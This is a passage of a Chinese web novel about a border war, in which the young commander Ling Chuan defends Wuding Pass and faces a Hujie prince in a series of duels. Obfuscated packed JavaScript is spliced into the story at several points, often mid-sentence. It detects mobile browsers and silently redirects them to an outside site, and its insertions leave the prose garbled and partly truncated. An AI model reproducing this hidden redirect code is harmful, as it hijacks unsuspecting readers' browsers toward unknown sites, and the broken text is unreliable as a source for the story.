偌大的帅帐鸦雀无声,所有人神色肃穆,都在等待他的命令。 卢恽筹目光缓缓从众人身上扫过,问道:“现在七州之地还能抽掉多少兵马?” 身为总参军的章绩上前一步,回答道:“回禀大将军,此前七州腹地的兵马已经抽掉得差不多了,还剩下的,也都是一些新兵!” “各州再抽掉五千人,没上过战场的新兵就当辅兵用!”卢恽筹开口说道。 很快便有传信兵将命令传达了下去。 “粮草呢,都到了吗?”卢恽筹看着章绩,又问道。 “三日前已如数送至各州!”章绩回答道。 就在这时,副参军叶世珍上前禀报道:“大将军,兵部从幽州、青州、蓟州等地派出五万援军,于三日前已经起程,最快十日便可抵达!” 卢恽筹闻言,不屑冷笑道:“派五万没上过战场的雏儿,还不如给我五万石粮有用!” “对了,凌川那小子现在何处?”卢恽筹似乎想起了什么,问道。 章绩正欲开口,叶世珍却抢先一步说道:“回禀大将军,凌川于两日前抵达阑州,如今,正在武定关休整!” 第157章 四月十八,立夏! 卢恽筹嘴角露出一抹笑意,说道: “开战至今,我数十万大军寸功未立,他一个小小云岚校尉,仅凭手下一千五百人,便斩杀了三万多敌军,也不知道那些在边境摸爬滚打多年的将军们,听到这消息后脸往哪儿搁! 此言一出,帅帐之中顿时响起一道道笑声,让原本紧张的气氛缓和了很多。 这几日,接连有捷报传至节度府,而每一封捷报都与凌川有关。 三战三捷,诛杀敌军三万多人。 听闻消息后,立马便有人质疑消息的真实性,节度府中有不少怀疑凌川虚报军功的声音。 就算是卢恽筹也倍感震惊,毕竟,凌川手底下只有一千五百云岚军,而这支队伍的班底还是他几个月前从死字营提点的一千军奴。 很快,节度府便派人前去稽查战功,可结果却令所有人傻眼了。 就在此时,一名三十出头的将领站了出来,开口说道:“大将军,凌川战功卓著不假,但此人桀骜不驯,擅自带兵前往阑州,若不加以惩戒,恐其他人效仿,藐视军规…… 紧接着,另一名站在后方的参军也站了出来,说道:“属下也觉得,军法如山不容挑衅,凌川有功当赏,但有过也不得不罚! “属下也听武定关传来的消息说,陈暻垚竟然擅自将武定关一万兵马交给凌川统领,他自己则是回阑州了! 卢恽筹眼神中闪过一抹异色,说道:“你们谁要是能打赢这场国运之战,别说是擅自行动,就算是要我的帅印,本帅也双手奉上,如何? 此言一出,几人顿时低下了头,很明显,大将军是不准备追究凌川了。 紧接着,卢恽筹再度开口说道:“阑州遭遇蛇窟**的袭击,眼下正是用人之际,既然凌川到了,那就让他暂行都尉职权,给本帅守好武定关!若是武定关有失,本帅拿他项上人头问罪! 现场众人闻言,不由得暗自一惊。 大将军非但没有追究凌川擅自行动,对于他与陈暻垚的结党之嫌也装聋作哑,甚至还顺水推舟,直接将他提为都尉。 虽然说的是让他暂行都尉职权,可明眼人都知道,这不过是个铺垫。 尽管以凌川的军功,换一个都尉之职绰绰有余,但大将军却让现场众人都感受到了别样的信号。 章绩神色一片平静,却没有人注意到他眼底时不时闪过的阴鸷寒芒。 这几人都是他安排的,本想借此机会对凌川发难,就算不能治他的罪,也能打压他的风头,没想到大将军 竟公然偏袒,这让他内心很是不爽。 就在这时,卢恽筹意味深长地看了章绩一眼,说道:“这一战,不仅关乎北境七州之地,更关乎整个中原,我不希望任何人在任何事上出岔子,否则,不管他是谁,本帅定斩不饶!” 这句话是提醒,也是警告。 卢恽筹没有提及汪岐的事情,但,并不代表**。 相反,他比在场所有人都清楚其中的细节,也明白这背后的道道。 整个节度府都知道,汪岐是他章绩的人,卢恽筹又岂会不知道? 昭和二十七年,四月十八,立夏! 北疆边境烽火滚滚,狼烟弥漫,矛立森寒、立盾如山。 大周与胡羯这场酝酿了数年的国运之战,终于拉开序幕! 胡羯出动六十万大军,兵分七路,直取北境七州。 北系军主帅卢恽筹调动七州兵马,共四十余万兵力迎战胡羯七路大军。 消息如龙卷风一般席卷两国,无论是民间百姓,还是庙堂天子,都在紧张地关注着这一战。 因为,彼此都明白,这一战关乎国运,更关乎到民族的生死存亡。 不同于之前的局部开战,这一次,七路大军同时发起进攻,整个北疆千里防线彻底被狼烟点燃,金戈铁马之声令大地颤抖。 接连三日交锋,双方各有胜负。 朔州,铁鳞城外重新组建的三万大军再次兵临城下,这次领兵之人乃是拓跋桀麾下七大战将之一,拓跋英豪。 拓跋英豪乃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990322|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是拓跋桀的长子,从小跟随其父在战场上摸爬滚打,不仅勇猛无双,智谋更是相当出众。 此次由他领兵,副将则是由同为七大战将之一的霍元青担任。 上次,霍元青折戟狼烽口,三千精兵**得片甲不留,按理拓跋桀当砍他的脑袋,但,想到当下正是用人之际,便留他一命。 铁鳞城趁着这几日的空挡,对城墙等防御工事进行了修缮。 现在想起来,多亏了凌川当日的提醒,要是韩青池再拖上两天,现在的铁鳞城根本无法迎敌。 有了上一次的教训,这次韩青池与宋景二人改变了策略,从被动防守改为主动出击。 宋景将手下一万兵马分成两队,分别从铜丘镇和白塔镇出击,充当两翼配合韩青池的中军,袭击敌军大营。 在他们看来,敌军远道而来,正处于疲惫之时,对于环境更是不熟悉,这个时候主动出击,定能打对方一个措手不及。 然而,他们却低估了对方的准备,更没想到,霍元青也在营中,他凭借对周军战术的了解,果断做出应对之策。 最终,双方在城外展开一场激烈厮杀,各自折损了四五千人才偃旗息鼓。 如此情况下,却只与对方打了个平分秋色,让韩青池与宋景二人的脸色十分难看。 对比之下,更显得凌川当日战绩的惊艳,不知不觉间,凌川在二人心目中的地位再次拔高了许多。 与此同时,驻守塔拉草原的云州军也与胡羯第三路大军交上了手。 塔拉草原虽无城池可守,但催行俭半月前便已抵达,将有利地势尽数占领,以逸待劳。 加之催行俭沿途设伏,一击则退,不与敌军过多纠缠,此举虽有些猥琐,但却颇有成效,竟然让胡羯三路大军付出了不小代价。 不过,这种国战,一场战斗的胜负,一城一池的输赢根本影响不了整个战局的走向。 官道之上,快马来回奔腾,将一封封战报送至节度府,同样,一道道命令也从节度府发出,火速送至各处将领的手中。 第158章 苍狼泣月旗! 武定关。 昨日节度府的命令便已经送达凌川名正言顺接管武定关代行都尉之职。 有了这重身份他再也不用偷偷摸摸、束手束脚。 昨日阑州军在朝天垭与胡羯大军展开了一番鏖战由于许牧舟被刺身亡如今坐镇朝天垭的是节度府派去的薛镇锷。 朝天垭除了薛镇锷带去的一万重甲军还有一万阑州军相比其胡羯的三万大军兵力上并不占优但坐拥地利之势胡羯人想要以三万兵力打下朝天垭几乎是不可能的事情。 然而令谁也没想到的是今日天还未亮胡羯再次派出两万援军直扑武定关。 两万大军抵达武定关之后甚至都没有结营扎寨而是第一时间发起攻击。 武定关城墙之上 “各营就位准备战斗!” 早在之前凌川便将一切布置就绪数十架床**整齐排列在城墙之上一捆捆手臂粗的**箭堆码整齐此外狼牙拍、滚木箭矢、火油等准备充足。 城内更是安装了整整十架投石车滚石堆积如山。 这些都是陈暻垚之前便布置好的自经历了狼烽口一战后陈暻垚汲取了大量经验将能想到的器械全部用上。 凌川将武定关的一万守军分成四部分两千人镇守东西两面的几处小道要隘尽管胡羯大军不可能通过这些小道要隘入关但小股精兵却是有可能摸进来的。 一旦被敌军渗透进来那后果将不堪设想。 此外凌川将一千多云岚军并入其中将剩下的兵力分成三支三千人的队伍轮流守城。 武定关巍峨雄壮但三千守军足矣再多就显得拥挤了而且轮流换防可以保证士兵们有足够的休息。 辰时胡羯大军发起猛攻数千人的队伍抬着云梯、攻城车等攻城器械径直杀来震天喊杀声令天穹摇动。 凌川并未在敌军阵营中看到投石车不过想想也正常武定关外是茫茫草原石头很少投石车也就显得很鸡肋。 而武定关所用的滚石也都是从十里之外的祁连山脚运过来的。 城内十架投石车早已装好滚石所有投石手紧盯着那面令旗。 而令旗手则是盯着城外的队伍之前凌川交给他的命令是当敌军进入七百步范畴投石车开始发射进入五百步范畴**箭开始运转进入两百步城墙之上的一千二百云岚军便开始放箭。 一般的弓箭是达不到两百步的,但云岚军配置的破甲弓除外。 此外,之前陈暻垚配置的投石车和床**,都是按照凌川在狼烽口改造之后的样式打造的,射程和精准度都要高得多。 随着令旗落下,十架投石车猛然发射,将一块块巨石抛出城外。 这些胡羯步卒虽每人配置了盾牌,但,在这动辄数百斤的巨石面前,他们手中的盾牌形同虚设。 虽然他们悍不畏死地冲锋,但血肉之躯又怎么可能挡得住数百斤的滚石? 伴随着成片的惨叫声响起,不断有胡羯士兵被砸死,原本整齐的队伍更是变得凌乱不堪。 “咻咻咻……” 忽然,城墙之上数十架床**同时启动,一根根手臂粗的**箭射出,一旦被射中,他们断然没有生还的可能,很多胡羯士兵直接变成了糖葫芦,被钉死在地上。 最终,这数千胡羯士兵并未突破第二道防线,丢下数百具尸体,无奈选择了退兵。 凌川立身于城墙之上,紧盯着城外,见对方刚退兵,他也就明白了胡羯人的意图。 “这些并非胡羯战兵,多半是胡羯征集来的民夫和辅兵,其目的是试探咱们的防御力量!” 紧接着,凌川看向斥候校尉李志兴,问道:“可曾摸清对方的兵力配置,领兵主将是谁?” 李志兴乃是武定关的斥候校尉,麾下五百斥候。 李志兴上前,抱拳道:“大人,这股敌军来到太突然,咱们根本没有靠近的机会!” 凌川点了点头,并未说话,而就在此时,纪天禄走了上来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990323|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禀报道: “属下查到,敌军兵力在两万左右,八千骑兵,剩余的全是步卒,不过,这些步卒当中,有近半都是辅兵或民夫!” 听闻此言,李志兴不由得为之汗颜,自己五百斥候,没有得到任何有用情报。 而对方不过一百斥候,且在地形不熟的情况下,竟然探到这么多信息,让他无地自容。 也终于明白,凌川的云岚军之所以能一次次书写神话,并非没有原因。 “至于领兵主将目前还没查到,不过,看对方的将旗乃是苍狼泣月旗!”纪天禄继续说道。 在听到苍狼泣月旗的时候,不少人神色为之一惊,因为他们都听说过苍狼泣月旗。 胡羯帝国乃是四大王族和诸多草原部落组建而成,其中最为强大的四大王族分别是拓跋氏、慕容氏、宇文氏和耶律氏,而众多部落中,以最为强大的十三部为首。 而这苍狼泣月旗便是出自四大王族,乃是耶律一族的王旗,虽说拓跋一族一统草原之后一家独大,但,另外三大王族的势力依旧非常恐怖。 耶律王旗出现在武定关外,这无疑是在宣告,此次领兵之人乃是耶律王族的嫡系,因为,王族有铁律,苍狼泣月旗只有王族嫡系血脉可打。 凌川也没想到,耶律王旗竟然出现在武定关外,不过,他脸上没有丝毫惧意,只有无边战意。 早就听闻,四大王族各有一只王牌军团,只是耶律王族的苍狼铁骑来了没有。 敌军退走之后,迅速列队至后方,露出前排兵甲鲜亮、剑戟肃杀的精锐骑兵。 紧接着,骑兵自主让开一条通道,两匹骏马拉着一辆辇车缓缓上前,辇车之上,一名身着中原华服的年轻男子慵懒地靠在羊皮毡上。 此人面向阴柔、赤着双脚,手持一只玉盏。 其身旁坐着一名穿着暴露、体态丰腴的美姬,正在为其捏腿。 这一幕出现在战场之上,显得无比滑稽,哪怕是凌川也顿感错愕。 第159章 耶律蓝图! 马车缓缓上前,那阴柔男子似乎并没有意识到这是战场,依旧享用着杯中美酒,那丰艳美姬则是贴在他身上,为其捏腿锤肩。 城墙之上,无论是凌川还是一众守城士兵,皆是满脸错愕。 他们常戍边关,见到的都是大漠黄沙狼烟四起,见过兵甲如林旌旗蔽野,见过万骑冲锋飞箭如雨,唯独没见过这等画面。 就在这时,那名长相阴柔的年轻男子一把推开身上的美姬,缓缓站起身来。 “不知凌校尉在不在,可否出城一叙? 男子的声音跟他的长相一般阴柔,但却极具穿透力,哪怕身在数百步之外,也让城头上的众人听得清清楚楚。 “我便是凌川,不知阁下想叙什么?凌川开口回答道。 男子抬起目光看向他,说道:“素闻周军之中出了一位了不起的天才,我慕名而来,想要看看是什么样的一个人**了我三万草原勇士! “大人,此人一看就是阴险狡诈之辈,切不可出城!蒋晟小声提醒道。 那阴柔男子笑了笑,说道:“凌校尉该不会连出城的勇气都没有吧?那就太让我失望了! “苍蝇,备马! 苍蝇闻言大惊,连忙说道:“大人,他明显是在激你,你千万别上当啊! 凌川淡淡一笑,“我看起来很傻吗? 苍蝇:“…… “咱们大周可是礼仪之邦,更何况两军交战士气为先,我若连出城都不敢,那岂不是让人看扁了咱们武定关将士?凌川声音不大,却给人一种强大的力量感。 片刻后,城门打开,凌川单骑出城。 城墙之上,所有人皆是心神紧绷,聂星寒紧握着手中铁胎弓,数十架床**和十架投石车更是蓄势待发,一旦有异动,他们便立马发射,掩护凌川撤退。 凌川策马奔腾,径直来到那车辇前方十余步的位置才停下来。 “不好,大人怎么靠得这么近,太危险了!一名四十出头的校尉满脸担忧地说道。 另一人则是立马下令,调一支轻骑到瓮城中准备,一旦有情况,轻骑火速杀出去,不计一切代价将凌川救回来。 阴柔男子见凌川单骑赴会,顿时露出赞赏之色,说道:“我身后足足两万大军,凌校尉却敢单骑出城,仅仅是这份胆魄,便让人钦佩! 凌川目光如炬,看着对方说道:“我与你素不相识,眼下战场相见,更是生死大敌,我实在想不出,有什么可叙的! 男子笑了笑,说道: “自我介绍一下,我叫耶律蓝图!” 凌川拱手抱拳,说道:“幸会!” “你我虽为敌人,但在下对凌校尉却是仰慕已久!”耶律蓝图说话间,从身后取出一支玉盏,倒了一碗酒,随后交给那丰盈美姬。 后者走下马车,赤脚踩在草地上,双手捧起酒杯朝着凌川走来。 “一杯浊酒,不成敬意,望凌兄莫要嫌弃!”耶律蓝图又给自己倒了一杯酒,对着凌川遥遥举起。 看着那美姬将酒杯送到自己跟前,双手高高举起,凌川没有丝毫犹豫端起玉盏与耶律蓝图隔空示意了一下,随即将盏中酒一饮而尽。 城墙之上的众人见到这一幕,顿时为凌川捏了一把冷汗。 一些武定关的校尉虽然嘴上不说,可心里还是觉得凌川太年轻了,这种场景当小心谨慎、步步为营,岂能轻易喝对方的酒? 耶律蓝图也没想到凌川竟会如此爽快,他也端起玉盏一饮而尽。 “凌兄觉得,这酒如何?”耶律蓝图问道。 凌川看了看手中玉盏,笑道:“实话说,酒一般,玉盏还不错!” 说完将玉盏轻轻放回那美姬手中,从始至终都没有看她一眼,这让耶律蓝图再度对他高看了一眼。 迄今为止,但凡是见过如此尤物的男人,还没有人能做到面不改色、方寸不乱。 “哈哈哈哈……”耶律蓝图大笑几声,问道:“凌兄难道就不怕我在酒中下毒?” “怕!”凌川毫不掩饰地回答道。 “怕你还喝得这么爽快?”耶律蓝图不解地问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990324|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “因为我知道没毒!” 耶律蓝图不解地问道:“凌兄为何如此肯定?” “因为你是聪明人,聪明人是不会做这种傻事的!”凌川微微一笑,回答道。 “跟凌兄这样的聪明人打交道,真是爽快!”耶律蓝图笑道:“实不相瞒,我此次奉命前来,协助霍里部攻打阑州!” “若非立场不同,我真想交凌兄这个朋友,只可惜造化弄人!”耶律蓝图轻叹一声,说道。 凌川闻言,轻笑道:“这个好说,若你现在退兵,咱们未尝没有成为朋友的可能!” 也聊聊天笑着摇了摇头,说道:“我若现在退兵,没办法向主帅交代,也没办法对朝天垭外的兀烈将军交代!” “那我就爱莫能助了!”凌川淡淡说道:“不过,恕我直言,你想用区区两万人啃下武定关,无异于痴人说梦!” 耶律蓝图不置可否地点了点头,“凌兄这是实话,武定关的防御力量我刚才已经见识到了,若是其他人驻守,我或许还会试一试,可凌兄亲自镇守,就算再添一万兵力,我也拿不下!” 耶律蓝图顿了顿,说道:“不满凌兄,我既然来了,就不可能轻易撤军,同样,我又不想将耶律王族的儿郎葬送在这里,所以,我想跟凌兄商量一下,咱们换个方式,既能分出胜负,又不至于伤筋动骨!” 听到这番话,凌川不由得露出好奇之色,两军交战,无不是浴血厮杀生死相向,怎么在他看来,就像是小孩子过家家一般? 不过,凌川并未第一时间回绝,而是抱着好奇的心态,问道:“怎么个比试法,你不妨说说看!” “很简单,咱们双方各出三人进行一对一比试,胜出两场者为胜方!”耶律蓝图说道。 “若胜了会如何?若败又会如何?”凌川问道。 “凌兄若胜了,我撤军十里,期间不出一兵一卒攻打武定关!”耶律蓝图看着凌川,脸上始终带着阴柔的笑容:“若我侥幸获胜,我会转身支援朝天垭,凌兄只需答应不出兵支援朝天垭,更不能偷袭我军后方即可!” 第160章 草原第一巴图鲁! 凌川眉头微皱,这条件怎么听起来都像是送上门的大便宜,但往往这种时候,伴随的就是大陷进。 “凌兄可以考虑一下,如果可以,咱们便来一场以武会友!”耶律蓝图笑盈盈地说道。 凌川笑了笑,说道:“好啊!只是不知道你想比什么?” “搏斗、兵器、箭术这三样,凌兄觉得如何?”耶律蓝图问道。 “没问题!”凌川爽快答应。 “一个时辰之后,我在此恭候凌兄!” 凌川调转马头返回武定关,一众将领总算是松了一口气,围上来问道:“大人,你们说了些什么?” 凌川将耶律蓝图的提议说了一遍,众人几乎是同时说道:“大人,这其中可能有蹊跷!” “自信点,把可能去掉!”凌川拍了拍那名校尉的肩膀,说道:“傻子都看得出来耶律蓝图不怀好意,不过,他既然想玩,那咱们就陪他玩玩!” 紧接着,凌川将洛青云和薛焕之拉到一边,悄悄交代了几句。 二人点了点头,随即悄然离去。 一个时辰之后,武定关城门再次开启,凌川身后跟着三道身影,走出城外。 三人分别是聂星寒、唐岿然以及一名手持宣花斧的壮汉,壮汉名叫巩邑夫,武定关重骑营校尉,因力大无穷屡立战功,这才从一个无名小卒一步步爬到校尉。 刚才,在选人的时候,大牛主动请缨,但凌川却没有选他,而是选择了巩邑夫。 若单论力量,大牛或许还胜他一筹,不过大牛并无战斗经验,并不适合。 另一边,两匹骏马再一次拉着耶律蓝图的车辇走上前来,只不过,这一次身后多了三个人。 左边是一名身着铁甲,手持一杆墨色**的男子,面容冷峻,眼神中透着道道杀机。 中间那人中等身材,唯独那双眼睛,宛如鹰隼一般,被他盯上的人仿佛觉得有一把刀抵在自己的咽喉。 他手持一张宝雕弓,背后是一支皮囊箭壶,里面装满了铁箭。 但最显眼是还是右边那名魁梧壮汉,他就这么站在那里,便与马车齐高,那双露在外面的膀子比常人的大腿还要粗。 锃亮的头顶刺着一头猛虎,狰狞的虎头正好与他的五官重合,尽显狰狞,让人不寒而栗。 就这么远远站着,便给人一种巨大的压迫感,巩邑夫在见到此人之后,脸色瞬间变得凝重起来,因为他知道,此人便是他的对手。 “凌兄果然守时,咱们这就开始吧?”耶律蓝图依旧是一 脸阴柔之笑,一只手直接探入那美姬胸前,尽情揉捏。 凌川目不斜视,说道:“耶律公子想先比什么?” “那就先比力量吧!”耶律蓝图指了指身后那壮汉,说道:“这是咱们草原第一巴图鲁鹘颅,只要能打倒他,就算你们获胜!” 接到命令的鹘颅口中发出一声低吼,迈步走了出来。 随着他一步落下,只感觉地面都在微微颤抖。 “要不,你们四个一起上吧!”鹘颅脸上写满了不屑与嘲讽,看向凌川几人,问道。 “狂妄!”巩邑夫怒喝一声,直接翻身下马,将手中宣花斧插在地上,就朝着对方走去。 “小心点!”凌川出声提醒道。 对面,耶律蓝图也狠狠在那美姬胸前捏了一把,懒洋洋地说道:“鹘颅,下手轻点!” 鹘颅转过身点头道:“知道了公子!” 鹘颅嘴角勾起一抹冷笑,配合脸上的刺青显得格外狰狞,只见他对巩邑夫勾了勾手指,满脸的轻蔑之色。 “喝!” 巩邑夫大喝一声,脚下猛然一蹬,魁梧的身躯直接冲了上去,一拳轰在对方的胸口。 “砰……” 伴随着一道沉闷的声响,以巩邑夫的拳头为中心,一道道“肉浪”在其胸口扩散开来。 然而,鹘颅却宛如一座肉山矗立在原地,巩邑夫这恐怖的一拳,甚至都未能让他后退半步。 这一幕,让凌川几人瞳孔一缩,唐岿然更是一脸震惊,说道:“此人是怎么练出这一身体魄的,简直不可思议!” 凌川内心同样惊骇无比,就身形而论,大牛比起他都不如,自己身边的人,也只有翠花能与之一较高下了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998692|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就这点力气吗?跟挠痒痒似的!” 此言一出,巩邑夫怒目圆瞪,他何曾受过这样的侮辱? 只见他大喝一声,一记冲天拳砸向鹘颅的下巴。 后者冷哼一声,依然没有动作,直接用下巴硬扛这一拳。 “砰……” 又是一声闷响,巩邑夫只感觉拳头仿佛要裂开一般,整条手臂发麻。 就在这时,巩邑夫只感觉身体一轻,原来,对方一把抓住了他的腰带,仅用一只手便将他给举了起来。 紧接着,他抬手直接将巩邑夫给丢了出去,两百多斤的身体,在他手中宛如一个布偶一般,轻而易举便丢出数丈远。 “砰……” 巩邑夫的身体重重摔在地上,直接将草地砸出一个坑来。 只 见他嘴角溢血,艰难站起身来,显然刚才那一摔,伤及了他的脏腑。 “吼!” 就在此时,鹘颅暴吼一声,宛如发怒的野兽,直接朝着巩邑夫冲去。 “我们认输!”凌川大声喊道。 耶律蓝图见状,开口说道:“鹘颅,回来!” 后者这才猛然止步,对着巩邑夫不屑一笑,随即转身回到耶律蓝图身边。 “凌兄,承让!”耶律蓝图对这凌川拱手示意。 凌川笑着点头,道:“草原第一巴图鲁,果真是名不虚传,今日算是大开眼界了!” 巩邑夫步履踉跄来到凌川身边,眼神中带着愧疚之色,“大人,让您失望了……” 凌川拍了拍他的肩膀,笑道:“胜败乃兵家常事,你无需自责,更何况,我们又没输!” “你受了内伤,赶紧退回关内吧!”凌川拍了拍他的肩膀,借机在巩邑夫耳边低语几句,后者神色微变,随即连忙点头,艰难翻身上马,朝着城门方向而去。 这边,唐岿然紧握手中**正欲上前,却被聂星寒抢先了一步。 见聂星寒上前,耶律蓝图身后那名目光如鹰隼的男子也主动走了出来。 耶律蓝图见状,柔声喊道:“鹘颅,去取箭靶来!” 第161章 一箭决生死! 然而那目光锐利的男子却是抬手制止 紧接着他转过目光看向聂星寒不屑道:“我也不欺负你咱们一百五十步三箭定生死如何?” 听到这话凌川与唐岿然二人神色微微一变对面的车辇之上耶律蓝图的目光之中也闪过一丝错愕不过很快便被信任所取代。 只因他是草原十大射雕手中位列前三的苍狼! 若非自己在他吃不起饭的时候收留了他以他孤傲的性格绝不可能跟随自己。 凌川见耶律蓝图没有阻止他也没有出声而是朝聂星寒投去一个信任的眼神后者微微点头随即看向苍狼。 “你确定?” 聂星寒同样是性子冷漠之人淡淡吐出三个字。 面对苍狼的蔑视和挑衅他脸上神色没有丝毫变化唯独眼神中闪过一丝杀意。 苍狼嘴角勾起一抹冷笑道:“你若是怕了下马对我家公子行礼然后保证此生不再用箭我便放你离去!” 谁知聂星寒则是不屑一笑说道:“三箭太麻烦了你我蒙住双眼一箭决生死!” 这下轮到苍狼心里没底了只见他眼底闪过一丝犹豫不过很快便被自信所取代。 他不明白这名周人哪来的自信提出这种要求莫非他自知箭术不如自己所以才用这种根本不可能完成的比试规则试图吓退自己? 苍狼嘴角含笑自己可是草原十大射雕手箭术更是已经达到了炉火纯青的地步就算是面对与自己齐名那两位他也有信心立于不败之地。 “你这是在找死!”苍狼冷声说道。 聂星寒只是冷漠一笑不予回答。 随即二人策马来到一片开阔地相隔一百五十步站定。 一百五十步对于他们这种级别的神射手而言并不算什么但若是在蒙眼状态那就是另外一回事了。 但这场比试最可怕的地方并不在此而是双方都是以彼此作为目标一箭决生死。 聂星寒从怀中取下一块黑巾熟练地系在头上将双眼挡住。 这是他平时练箭所用一直随身携带。 “什么?他们竟要蒙眼对决?”城墙之上蒋晟等校尉见状皆是一脸震惊。 胡羯大军之中站在前排的将领眼眸中也闪过惊愕之色不过他们并没有太担心显然是对于苍狼的箭术有足够的了解和自信。 苍狼双眸如鹰隼死死盯着一百五十 步之外的聂星寒,若说之前他觉得聂星寒是在装腔作势,想要吓退自己,那么现在他依然是那副气定神闲的姿态,让苍狼心里有些没底。 可事到如今,他已是骑虎难下,只能取下一块头巾蒙在脸上。 霎时间,现场的气氛紧张到了极点,耶律蓝图虽依旧保持着那份慵懒姿态,可眼神却一直看着那边。 苍狼缓缓举起手中的宝雕弓,将一支铁箭搭在弓弦之上,缓缓将其拉开。 “嘎吱,嘎吱……” 他这把弓乃是七石宝雕弓,放眼整个胡羯军中,能将其拉开的人不超过双手之数。 随着弓弦缓缓拉开,一股浓烈杀机迅速汇聚在铁箭之上。 箭镞闪烁着寒芒,瞄准了一百五十步之外的聂星寒。 反观聂星寒,依然端坐于马背之上,毫无动作。 忽然,一缕清风拂过脸面,如那二八处子的柔夷抚摸脸颊。 “嗡……” 伴随一声颤鸣,苍狼松开弓弦,铁箭猛然射出,直奔聂星寒而去。 就在那弓弦颤鸣声传来的瞬间,聂星寒双耳微动,只见他一个翻身,单脚勾在马镫之上,身体侧挂于马背。 苍狼射出的那支铁箭几乎是贴着聂星寒的马背飞过。 与此同时,聂星寒迅速从箭壶之中拔出一支破甲箭搭载弓弦之上,随即手臂猛然发力,将铁胎弓拉至满弦。 弯弓搭箭,一气呵成! “咻……” 刺耳的破空声宛如死神在磨牙,让人不寒而栗。 “嗤……” 一声轻响,只见苍狼身体随之一顿,紧接着,一抹鲜血自咽喉处迸射而出。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998693|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那破甲箭直接从苍狼的咽喉穿过,带出一朵血花,而且,箭矢去势不减,直奔后方的胡羯大军而去。 正对那名胡羯士兵大惊失色,下意识勒了下缰绳,那战马前蹄扬起,正好挡住了他,也接住了迎面飞来的铁箭。 “嗤……” 铁箭没入战马眉心,足足五寸有余。 只听那战马嘶鸣一声,随即直接倒地,那名士兵也被甩翻出去。 整个过程不过在刹那间完成,那战马倒下之后,苍狼的身体才缓缓从马背上跌落。 对面,聂星寒一个翻身坐回马背之上,随即调转马头,回到凌川身边。 从始至终,他脸上都没有任何神色变化,甚至都没有去看苍狼一眼,直到回到凌川身后,才缓缓扯下蒙在眼睛上的黑巾。 而另一边,耶律蓝图的脸上写满了震惊,那只探入美姬领口内的手也不自觉用力,那美姬疼得冷汗直冒,却不敢出声,只能咬牙坚持着。 胡羯大军之中,更是寂阒无声,所有人都不敢相信,苍狼竟然被人一箭射杀了。 哪怕是亲眼所见,也让人难以置信,周军之中怎么可能有箭术如此惊人的射手? “干得漂亮!” 武定关城墙之上,一众将士大声欢呼,这一箭实在是太震撼了,竟然射杀了胡羯名列前三的射雕手。 仅仅是这份战功,换个校尉乃至都尉都不为过。 聂星寒,不少人都打过照面,毕竟他一直跟随在凌川左右,只是谁也没想到,这个沉默寡言的年轻男子,竟有如此惊世骇俗的箭术。 “凌兄手下果真是人才辈出啊,领教了!”耶律蓝图脸上随带着笑意,但整张脸却已经不受控制地扭曲。 “承让,承让!”凌川则是笑着拱了拱手,对于他那咬牙切齿的表情直接选择了无视。 是你要玩的,我不过是奉陪而已。 耶律蓝图太过于自信,认为苍狼一定能胜出,所以,对于苍狼提出三箭定生死他并未阻拦,可不曾想,最终竟然被聂星寒反杀。 第162章 霸王卸甲! 双方交手两场,各胜一场! 眼下,便只剩下最后一战,几乎不用提醒,二人策马上前。 